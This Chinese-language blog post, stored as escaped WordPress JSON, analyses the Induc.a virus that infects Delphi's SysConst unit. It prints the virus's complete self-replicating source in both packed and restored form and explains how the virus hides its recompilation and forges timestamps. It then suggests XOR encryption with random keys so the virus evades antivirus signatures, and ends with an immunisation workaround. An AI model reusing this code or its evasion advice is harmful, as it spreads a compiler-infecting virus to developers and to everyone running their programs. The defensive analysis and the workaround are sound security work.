\u597d\u6709\u8da3\u7684\u611f\u67d3\u65b9\u5f0f,\u591f\u53ef\u7231\u4e86~<\/p>\n
\u4eca\u5929\u7fa4\u7684\u4eba\u53d1\u4e86\u4e00\u6761\u94fe\u63a5,\u5173\u4e8e\u8bb8\u591a\u4ebaSysConst.dcu\u88ab\u611f\u67d3.\u88ab\u611f\u67d3\u540e\u7684SysConst.dcu\u4f53\u79ef\u662f18KB\u5de6\u53f3,\u6b63\u5e38\u7684SysConst.dcu\u662f12KB\u5de6\u53f3.\u5077\u5077\u7784\u4e86\u4e00\u4e0b\u5076\u7684SysConst.dcu,\u7adf\u7136\u88ab\u611f\u67d3\u4e86,\u800c\u4e14\u6f5c\u4f0f\u7684\u65f6\u95f4\u5e94\u8be5\u8d85\u8fc74\u4e2a\u6708~ \u53ea\u662f\u524d\u4e24\u5929\u5361\u5df4\u66f4\u65b0\u75c5\u6bd2\u5e93,\u5361\u5df4\u62a5\u75c5\u6bd2\u540d\u4e3a:Virus.Win32.Induc.a,\u5927\u5bb6\u624d\u53d1\u89c9\u6709\u6240\u4e0d\u59a5.<\/p>\n
uses windows; var sc:array[1..24] of string=(‘,’function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s’,’=#36 then s:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;’,’h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin’,
\n‘h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle’,'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile’,'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while’,’not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0′,’then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2′,’,$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,’,’x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$’,’)); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.’,’wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$”$+d+$pas”$),0,0,false,0,0,0,’,’f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),’,’pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,’,
\n‘0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=’,’CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,’,’@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of’,’char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(‘,’HKEY_LOCAL_MACHINE,pchar($Software\\Borland\\Delphi\\$+v+$.0$),0,KEY_READ,k)=0 then’,’begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=’,’1; while c<>#0 do begin r:=r+c;inc(i);end;re(r+$\\source\\rtl\\sys\\SysConst$+’,’$.pas$,r+$\\lib\\sysconst.$,$”$+r+$\\bin\\dcc32.exe” $);end;RegCloseKey(k);end; end;’,’begin st; end.<\/p>\n
\u7a0d\u5fae\u8fd8\u539f\u4e00\u4e0b\u5c31\u662f<\/p>\n
\r\nfunction x(s:string):string;\r\nvar\r\ni:integer;\r\nbegin\r\nfor i:=1 to length(s) do\r\n if s=#36 then s:=#39;\r\nresult:=s;\r\nend;\r\n\r\nprocedure re(s,d,e:string);\r\nvar\r\nf1,f2:textfile;\r\nh:cardinal;\r\nf:STARTUPINFO;\r\np:PROCESS_INFORMATION;\r\nb:boolean;\r\nt1,t2,t3:FILETIME;\r\nbegin\r\nh:=CreateFile(pchar(d+\u2019bak\u2019),0,0,0,3,0,0);\r\nif h<>DWORD(-1) then\r\nbegin\r\n CloseHandle(h);\r\n exit;\r\nend;\r\n{\u2018I-}assignfile(f1,s);\r\nreset(f1);\r\nif ioresult<>0 then\r\n exit;\r\nassignfile(f2,d+\u2019pas\u2019);\r\nrewrite(f2);\r\nif ioresult<>0 then\r\nbegin\r\n closefile(f1);\r\n exit;\r\nend;\r\nwhile not eof(f1) do\r\nbegin\r\n readln(f1,s);\r\n writeln(f2,s);\r\n if pos(\u2018implementation\u2019,s)<>0 then\r\n break;\r\nend;\r\nfor h:= 1 to 1 do\r\n writeln(f2,sc[h]);\r\nfor h:= 1 to 23 do\r\n writeln(f2,\u201d\u201d+sc[h],\u201d\u2019,');\r\nwriteln(f2,\u201d\u201d+sc[24]+\u201d\u2019);\u2019);\r\nfor h:= 2 to 24 do\r\n writeln(f2,x(sc[h]));\r\nclosefile(f1);\r\nclosefile(f2);\r\n{\u2018I+}MoveFile(pchar(d+\u2019dcu\u2019),pchar(d+\u2019bak\u2019));\r\nfillchar(f,sizeof(f),0);\r\nf.cb := sizeof(f);\r\nf.dwFlags := STARTF_USESHOWWINDOW;\r\nf.wShowWindow := SW_HIDE;\r\nb := CreateProcess(nil,pchar(e+\u2019"\u2019+d+\u2019pas"\u2019),0,0,false,0,0,0,f,p);\r\nif b then\r\n WaitForSingleObject(p.hProcess,INFINITE);\r\n MoveFile(pchar(d+\u2019bak\u2019),pchar(d+\u2019dcu\u2019));\r\n DeleteFile(pchar(d+\u2019pas\u2019));\r\n h := CreateFile(pchar(d+\u2019bak\u2019),0,0,0,3,0,0);\r\n if h=DWORD(-1) then\r\n exit;\r\n GetFileTime(h,@t1,@t2,@t3);\r\n CloseHandle(h);\r\n h := CreateFile(pchar(d+\u2019dcu\u2019),256,0,0,3,0,0);\r\n if h=DWORD(-1) then\r\n exit;\r\n SetFileTime(h,@t1,@t2,@t3);\r\n CloseHandle(h);\r\nend;\r\n\r\nprocedure st;\r\nvar\r\nk:HKEY;\r\nc:array [1..255] of char;\r\ni:cardinal;\r\nr:string;\r\nv:char;\r\nbegin\r\nfor v:=\u20194\u2032 to \u20197\u2032 do\r\nif RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar(\u2018Software\\Borland\\Delphi\\\u2019+v+\u2019.0\u2032),0,KEY_READ,k)=0 then\r\nbegin\r\ni:=255;\r\nif RegQueryValueEx(k,\u2019RootDir\u2019,nil,@i,@c,@i)=0 then\r\nbegin\r\n r:=\u201d;\r\n i:=1;\r\n while c<>#0 do\r\n begin\r\n r:=r+c;\r\n inc(i);\r\n end;\r\n re(r+\u2019\\source\\rtl\\sys\\SysConst\u2019+\u2019.pas\u2019,r+\u2019\\lib\\sysconst.\u2019,'"\u2019+r+\u2019\\bin\\dcc32.exe" \u2018);\r\nend;\r\nRegCloseKey(k);\r\nend;\r\nend;\r\nbegin\r\nst;\r\nend.\r\n<\/pre>\n\u5927\u6982\u5206\u6790\u4e00\u4e0b\u539f\u7406<\/p>\n
\u75c5\u6bd2\u7684\u4e3b\u4f53\u4ee3\u7801,\u9996\u5148\u6267\u884c\u540e\u4ece\u6ce8\u518c\u8868”HKEY_LOCAL_MACHINE\\Software\\Borland\\Delphi\\”\u7684RootDir\u503c\u4e0b\u8bfb\u53d6Delphi\u8def\u5f84.<\/p>\n
\u7136\u540e\u518d\u8bfb\u53d6delphi\u8def\u5f84\u4e0b\u7684\\source\\rtl\\sys\\SysConst.pas\u6587\u4ef6,\u5faa\u73af\u8bfb\u53d6\u76f4\u5230implementation\u884c.\u7136\u540e\u8df3\u51fa\u5faa\u73af,\u4e0b\u9762\u5f00\u59cb\u8f93\u51fa\u6076\u610f\u4ee3\u7801.\u4fdd\u5b58\u6587\u4ef6\u540e,\u6700\u540e\u4f7f\u7528MoveFile\u51fd\u6570\u5c06\u539f\u6765\u7684SysConst.dcu\u547d\u540d\u4e3aSysConst.bak,\u6700\u540e\u4f7f\u7528CreateProcess\u51fd\u6570\u9690\u85cf\u8c03\u7528dcc32.exe\u7f16\u8bd1\u88ab\u611f\u67d3\u540e\u7684SysConst.pas\u5355\u5143\u6587\u4ef6\u4e3aSysConst.dcu.\u83b7\u53d6\u539f\u6587\u4ef6\u65f6\u95f4,\u4fee\u6539\u88ab\u611f\u67d3\u540e\u6587\u4ef6\u7684\u65f6\u95f4,\u6240\u4ee5\u4ece\u6587\u4ef6\u65f6\u95f4\u4e0a\u770b\u4e0d\u51fa\u4efb\u4f55\u53d8\u5316.<\/p>\n
\u88ab\u611f\u67d3\u540e\u7684\u7f16\u8bd1\u73af\u5883\u53ea\u8981\u52a0\u5165SysUtils\u5355\u5143\u6240\u7f16\u8bd1\u7684\u4efb\u610f\u53ef\u6267\u884c\u6587\u4ef6\u90fd\u4f1a\u6210\u4e3a\u75c5\u6bd2\u8f7d\u4f53,\u611f\u67d3Delphi\u4e0b\u7684\u7f16\u8bd1\u73af\u5883~\u4ece\u4ee3\u7801\u53ef\u4ee5\u770b\u5f97\u51fa,\u4f5c\u8005\u7528\u610f\u4e0d\u5728\u7834\u574f,\u800c\u662f\u9759\u9ed8\u65e0\u58f0\u65e0\u8272\u5730\u5b9e\u73b0\u611f\u67d3,\u4e00\u6b21\u53c8\u4e00\u6b21\u7684\u611f\u67d3,\u4e0d\u65ad\u5730\u4f20\u64ad\u4ee3\u7801\u7684\u4e3b\u4f53.\u7a0d\u5fae\u63a8\u6d4b\u4e00\u4e0b\u4f5c\u8005,\u4e0d\u50cf\u56fd\u4eba\u7684\u4f5c\u98ce,\u56fd\u4eba\u7a0d\u5fae\u627e\u5230\u4e00\u4e01\u70b9\u53ef\u4ee5\u5229\u7528\u7684\u4e1c\u897f,\u80af\u5b9a\u501f\u9898\u53d1\u6325.\u4e0d\u65ad\u5730XX\u8f6c\u5316\u4e3a\u5229\u76ca.\u5c31\u7b97\u4e0d\u4e3a\u5229\u76ca,\u80af\u5b9a\u5f88\u70ab\u8000\u5730\u8d34\u4e0aby xxx,\u597d\u8ba9\u5168\u4e16\u754c\u90fd\u77e5\u9053\u662f\u4ed6\u5f04\u7684.\u4ece\u6570\u7ec4\u53d8\u91cf\u547d\u540d\u4e3asc,\u4e0d\u96be\u60f3\u8c61,\u5176\u5b9e\u5e94\u8be5\u662fSource Code\u7684\u7f29\u5199,\u50cf\u8001\u5916\u4f5c\u98ce,\u89c9\u5f97\u4f5c\u8005\u5e94\u8be5\u662f\u56fd\u5916\u7684.\u800c\u4e14\u4f5c\u8005\u5f88\u4f4e\u8c03,\u4f3c\u4e4e\u53ea\u662f\u60f3\u5b9e\u73b0\u81ea\u5df1\u7684\u4e00\u79cd\u81ea\u6211\u4ef7\u503c.\u4eab\u53d7\u7740\u7cbe\u795e\u4e0a\u7684\u4ef7\u503c,\u4e0d\u8fc7\u4e5f\u53ef\u4ee5\u8bf4\u662f\u6076\u4f5c\u5267.\u8fd8\u597d\u6ca1\u6709\u52a0\u5165\u5176\u5b83\u66f4\u90aa\u6076\u7684\u4ee3\u7801,\u8981\u662f\u5f04\u4e00\u4e2a\u4e0b\u8f7d\u8005\u529f\u80fd\u8fdb\u53bb,\u53c8\u5f00\u59cb\u65e0\u654c\u4e86~<\/p>\n
\u901a\u8fc7\u611f\u67d3\u6e90\u6587\u4ef6\u5b9e\u73b0\u4f20\u64ad,\u611f\u67d3\u786e\u5b9e\u6709\u90a3\u4e48\u4e00\u70b9\u70b9\u65b0\u9896,\u4ee5\u524d\u6709\u60f3\u8fc7,\u4e0d\u8fc7\u611f\u89c9\u4f5c\u8005\u5b9e\u73b0\u5f97\u5f88\u597d.\u4e3b\u52a8\u9632\u5fa1\u7684\u51fa\u73b0\u786e\u5b9e\u62b9\u6740\u4e86\u4e0d\u5c11\u75c5\u6bd2\u548c\u6728\u9a6c\u4e4b\u95f4\u7684\u751f\u5b58\u7a7a\u95f4,\u8d77\u7801\u4f20\u7edf\u4e0a\u7684\u51e0\u4e4e\u65e0\u4e00\u5e78\u514d.\u4f20\u7edf\u4e0a\u7684\u4f20\u64ad\u5df2\u7ecf\u6c5f\u90ce\u624d\u5c3d,\u80fd\u53d1\u6325\u7684\u90fd\u53d1\u6325\u4e86,\u53ea\u6709\u5176\u4ed6\u66f4\u591a\u79cd\u591a\u6837\u7684\u9014\u5f84\u4e0a\u4f20\u64ad\u624d\u662f\u738b\u9053.\u611f\u67d3\u6e90\u6587\u4ef6,\u90a3\u6837\u53ef\u59d4\u5c48\u90a3\u4e9b\u5f00\u53d1\u4eba\u5458\u7684,\u597d\u4e0d\u5bb9\u6613\u5199\u51fa\u4e00\u5957\u7a0b\u5e8f,\u7f16\u8bd1\u540e\u5e76\u53d1\u5e03,\u5374\u8981\u80cc\u8d1f\u7740\u690d\u5165\u6076\u610f\u4ee3\u7801\u7684\u5acc\u7591,\u771f\u662f\u60b2\u54c0~<\/p>\n
\u800c\u4e14\u7a0d\u5fae\u8865\u5145\u4e00\u4e0b\u8fd9\u4e2aXX\u7684\u4e0d\u8db3
\n1.\u4e3b\u4f53\u4ee3\u7801\u7528\u5b57\u7b26\u4e32\u6570\u7ec4\u7684\u65b9\u5f0f\u4fdd\u5b58,\u968f\u4fbf\u7528\u4e00\u4e9b\u5341\u516d\u8fdb\u5236\u7f16\u8f91\u8f6f\u4ef6\u90fd\u80fd\u770b\u89c1\u4e3b\u8981\u4ee3\u7801,\u5bb9\u6613\u6cc4\u6f0f\u6280\u672f\u7ec6\u8282.
\n2.\u56e0\u4e3a\u5b57\u7b26\u4e32\u5185\u5305\u542b’\u7b26\u53f7\u4f1a\u5bfc\u81f4\u7f16\u8bd1\u51b2\u7a81.\u6240\u4ee5\u4f5c\u8005\u5f04\u4e86\u4e00\u4e2ax\u51fd\u6570,\u672c\u610f\u662f\u5c06\u5b57\u7b26\u4e32\u5185\u7684$\u66ff\u6362\u4e3a’\u7b26\u53f7.
\n\u7ed3\u5408\u4ee5\u4e0a\u4e24\u70b9,\u53ef\u4ee5\u8003\u8651\u7528\u7b80\u5355\u7684xor\u5f02\u6216\u52a0\u5bc6\u7684\u65b9\u5f0f\u4fdd\u5b58\u4e3b\u4f53\u4ee3\u7801.\u800c\u4e14\u5bc6\u94a5\u65b9\u9762\u53ef\u4ee5\u968f\u673a\u6539\u53d8\u4e00\u4e0b.
\n\u6211\u5c1d\u8bd5\u5c06\u88ab\u611f\u67d3\u540e\u7684\u7a0b\u5e8f\u5185\u7684\u4e3b\u4f53\u5b57\u7b26\u4e32\u4ee3\u7801\u586b\u5145\u4e3a00,\u7136\u540e\u4fdd\u5b58\u540e,\u5361\u5df4\u5927\u53d4\u4e0d\u6740\u4e86,\u54c8\u54c8~
\n\u53ef\u4ee5\u770b\u5f97\u51fa,\u5361\u5df4\u662f\u901a\u8fc7\u7279\u5f81\u7801\u67e5\u6740\u6280\u672f,\u5047\u5982\u5c06\u90a3\u6bb5\u4e3b\u4f53\u4ee3\u7801\u6bcf\u6b21\u968f\u673a\u52a0\u5bc6\u4fdd\u5b58,\u4e0d\u77e5\u9053\u5361\u53d4\u5982\u4f55\u5bf9\u4ed8\u5462?\u5e94\u8be5\u4f1a\u7528\u4e0a\u542f\u53d1\u5f0f\u67e5\u6740,\u54c8\u54c8~
\n\u6ce8\u610f,\u5c31\u7b97\u6062\u590d\u56de\u539f\u6765\u7684SysConst.dcu\u6587\u4ef6,\u4f46\u662f\u90a3\u4e9b\u88ab\u611f\u67d3\u8fc7\u7684\u7a0b\u5e8f\u518d\u6b21\u6267\u884c,\u8fd8\u4f1a\u518d\u6b21\u88ab\u611f\u67d3.
\n\u6682\u65f6\u514d\u75ab\u65b9\u6cd5:\u6062\u590d\u540e,\u8bbe\u7f6eSysConst.dcu\u6587\u4ef6\u5c5e\u6027\u4e3a\u53ea\u8bfb,\u5e76\u4e14\u4fdd\u7559SysConst.bak\u6587\u4ef6\u6216\u8005\u521b\u5efaSysConst.bak\u540d\u5b57\u7684\u6587\u4ef6\u5939.<\/p>\n","protected":false},"excerpt":{"rendered":"
\u597d\u6709\u8da3\u7684\u611f\u67d3\u65b9\u5f0f,\u591f\u53ef\u7231\u4e86~ \u4eca\u5929\u7fa4\u7684\u4eba\u53d1\u4e86\u4e00\u6761\u94fe\u63a5,\u5173\u4e8e\u8bb8\u591a\u4ebaSysConst.dcu\u88ab\u611f\u67d3.\u88ab\u611f\u67d3\u540e\u7684Sy […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-587","post","type-post","status-publish","format-standard","hentry","category-code_related"],"_links":{"self":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/587","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/comments?post=587"}],"version-history":[{"count":1,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/587\/revisions"}],"predecessor-version":[{"id":4735,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/587\/revisions\/4735"}],"wp:attachment":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/media?parent=587"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/categories?post=587"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/tags?post=587"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}